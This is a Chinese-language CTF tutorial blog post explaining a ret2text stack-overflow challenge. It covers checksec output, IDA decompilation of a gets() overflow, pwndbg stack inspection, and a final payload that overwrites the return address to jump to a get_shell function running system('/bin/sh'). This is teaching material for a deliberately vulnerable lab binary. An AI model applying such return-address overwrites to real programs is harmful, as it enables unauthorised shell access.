PWN

ret2text

shilinkun
2022-05-08 / 0 评论 / 215 阅读 / 正在检测是否收录...
博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935

上一次我们介绍了函数调用栈,这一次我们就来看一道最简单的栈溢出题目:ret2text

先来看下运行题目输出什么

ROP$ ./ret2text 
Have you heard of buffer overflow?
>aaaaaaa
It seems that you know nothing about it ......

第一步使用checksec

ROP$ checksec ret2text 
[*] '/home/pwn/桌面/题目/ROP/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

然后直接使用IDA32打开,F5插件显示源码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  puts("Have you heard of buffer overflow?");
  vulnerable();
  puts("It seems that you know nothing about it ......");
  return 0;
}

int vulnerable()
{
  char buffer[8]; // [esp+8h] [ebp-10h]
  gets(buffer);
  return 0;
}

很明显gets函数会出现栈溢出

栈溢出的攻击原理就是,向缓冲区空间写入足够以及特定的字符,以覆盖该函数的上一个函数的栈帧,比如覆盖调用完下一条指令的地方,如下图

image-20220502202029252

将输入的值覆盖return address,则就会执行我们的特定的函数,我们再来看该程序的vulnerable的栈部分,使用pwngdb(后面我会单独开一次讲下gdb的教程)

pwndbg> b main
Breakpoint 1 at 0x804856b: file babystack.c, line 22.
pwndbg> r
Starting program: /home/pwn/桌面/题目/ROP/ret2text 

Breakpoint 1, main () at babystack.c:22
22    babystack.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 EAX  0xf7fb7808 (environ) —▸ 0xffffd22c —▸ 0xffffd3f5 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
 EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
 ECX  0xffffd190 ◂— 0x1
 EDX  0xffffd1b4 ◂— 0x0
 EDI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 EBP  0xffffd178 ◂— 0x0
 ESP  0xffffd170 —▸ 0xffffd190 ◂— 0x1
 EIP  0x804856b (main+26) —▸ 0xfff8838b ◂— 0xfff8838b
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x804856b <main+26>    mov    eax, dword ptr [ebx - 8] <0xf7fb7808>
   0x8048571 <main+32>    mov    eax, dword ptr [eax]
   0x8048573 <main+34>    sub    esp, 8
   0x8048576 <main+37>    push   0
   0x8048578 <main+39>    push   eax
   0x8048579 <main+40>    call   setbuf@plt <setbuf@plt>
 
   0x804857e <main+45>    add    esp, 0x10
   0x8048581 <main+48>    mov    eax, dword ptr [ebx - 4]
   0x8048587 <main+54>    mov    eax, dword ptr [eax]
   0x8048589 <main+56>    sub    esp, 8
   0x804858c <main+59>    push   0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffffd170 —▸ 0xffffd190 ◂— 0x1
01:0004│      0xffffd174 ◂— 0x0
... ↓
03:000c│      0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
04:0010│      0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
06:0018│      0xffffd188 ◂— 0x0
07:001c│      0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  804856b main+26
   f 1 f7de9ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────

现在断在了main函数处,我们知道漏洞在vulnerable,所以步过到vulnerable处(n)

pwndbg> n
Have you heard of buffer overflow?
25    in babystack.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────
*EAX  0x23
 EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
*ECX  0xffffffff
*EDX  0xffffffff
 EDI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 EBP  0xffffd178 ◂— 0x0
 ESP  0xffffd170 —▸ 0xffffd190 ◂— 0x1
*EIP  0x80485a9 (main+88) —▸ 0xffff48e8 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
   0x8048597 <main+70>     sub    esp, 0xc
   0x804859a <main+73>     lea    eax, [ebx - 0x1998]
   0x80485a0 <main+79>     push   eax
   0x80485a1 <main+80>     call   puts@plt <puts@plt>
 
   0x80485a6 <main+85>     add    esp, 0x10
 ► 0x80485a9 <main+88>     call   vulnerable <vulnerable>
 
   0x80485ae <main+93>     sub    esp, 0xc
   0x80485b1 <main+96>     lea    eax, [ebx - 0x1974]
   0x80485b7 <main+102>    push   eax
   0x80485b8 <main+103>    call   puts@plt <puts@plt>
 
   0x80485bd <main+108>    add    esp, 0x10
─────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd170 —▸ 0xffffd190 ◂— 0x1
01:0004│      0xffffd174 ◂— 0x0
... ↓
03:000c│      0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
04:0010│      0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
06:0018│      0xffffd188 ◂— 0x0
07:001c│      0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────
 ► f 0  80485a9 main+88
   f 1 f7de9ee5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

然后步进(s),我们可以从IDA中看到,第一行就是gets,所以我们再次步过(n)就会停住

pwndbg> s
vulnerable () at babystack.c:12
12    in babystack.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────
*EAX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
 EBX  0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
 ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
*EBP  0xffffd168 —▸ 0xffffd178 ◂— 0x0
*ESP  0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
*EIP  0x8048507 (vulnerable+17) ◂— sub    esp, 0xc
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x8048507 <vulnerable+17>    sub    esp, 0xc
   0x804850a <vulnerable+20>    lea    edx, [ebp - 0x10]
   0x804850d <vulnerable+23>    push   edx
   0x804850e <vulnerable+24>    mov    ebx, eax
   0x8048510 <vulnerable+26>    call   gets@plt <gets@plt>
 
   0x8048515 <vulnerable+31>    add    esp, 0x10
   0x8048518 <vulnerable+34>    mov    eax, 0
   0x804851d <vulnerable+39>    mov    ebx, dword ptr [ebp - 4]
   0x8048520 <vulnerable+42>    leave  
   0x8048521 <vulnerable+43>    ret    
 
   0x8048522 <get_shell>        push   ebp
─────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│      0xffffd158 —▸ 0xffffd178 ◂— 0x0
03:000c│      0xffffd15c —▸ 0x80485a6 (main+85) ◂— add    esp, 0x10
04:0010│      0xffffd160 —▸ 0x8048668 ◂— dec    eax /* 'Have you heard of buffer overflow?' */
05:0014│      0xffffd164 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp  0xffffd168 —▸ 0xffffd178 ◂— 0x0
07:001c│      0xffffd16c —▸ 0x80485ae (main+93) ◂— sub    esp, 0xc
───────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────
 ► f 0  8048507 vulnerable+17
   f 1  80485ae main+93
   f 2 f7de9ee5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> n

假装输入AAAAAAAA,我们此时使用stack 24看下栈中24字节

pwndbg> stack 24
00:0000│ esp  0xffffd150 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│ eax  0xffffd158 ◂— 'AAAAAAAA'
... ↓
04:0010│ edx  0xffffd160 —▸ 0x8048600 (__libc_csu_init+32) ◂— dec    dword ptr [ebp - 0xfb7d]
05:0014│      0xffffd164 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp  0xffffd168 —▸ 0xffffd178 ◂— 0x0
07:001c│      0xffffd16c —▸ 0x80485ae (main+93) ◂— sub    esp, 0xc
08:0020│      0xffffd170 —▸ 0xffffd190 ◂— 0x1
09:0024│      0xffffd174 ◂— 0x0
... ↓
0b:002c│      0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
0c:0030│      0xffffd180 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
0e:0038│      0xffffd188 ◂— 0x0
0f:003c│      0xffffd18c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add    esp, 0x10
10:0040│      0xffffd190 ◂— 0x1
11:0044│      0xffffd194 —▸ 0xffffd224 —▸ 0xffffd3d0 ◂— 0x6d6f682f ('/hom')
12:0048│      0xffffd198 —▸ 0xffffd22c —▸ 0xffffd3f5 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│      0xffffd19c —▸ 0xffffd1b4 ◂— 0x0
14:0050│      0xffffd1a0 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
15:0054│      0xffffd1a4 ◂— 0x0
16:0058│      0xffffd1a8 —▸ 0xffffd208 —▸ 0xffffd224 —▸ 0xffffd3d0 ◂— 0x6d6f682f ('/hom')
17:005c│      0xffffd1ac ◂— 0x0

我们的目的是覆盖ebp的上一行,也就是返回之后的下一行指令的位置,就是上面的07:001c,可以看到我们输入的AAAAAAAA02:0008开始,所以就是得到下面结论

先输入20个A,覆盖02:0008-07:001c,然后再输入4字节的特殊数据覆盖07:001c-0024(因为返回地址是32位,4字节),当函数返回时,就会执行我们的特定代码

同时在IDA中,可以看到一个函数名叫get_shell的函数

int get_shell()
{
  system("/bin/sh");
  return 0;
}

因此我们把这个函数的地址覆盖07:001c开始,就达到目的啦,那怎么看这个函数的起始地址呢,当然是在IDA中,地址为0x8048522

image-20220502205253383

所以payload

payload = b'A'*20 + p32(0x8048522)
0

评论 (0)

取消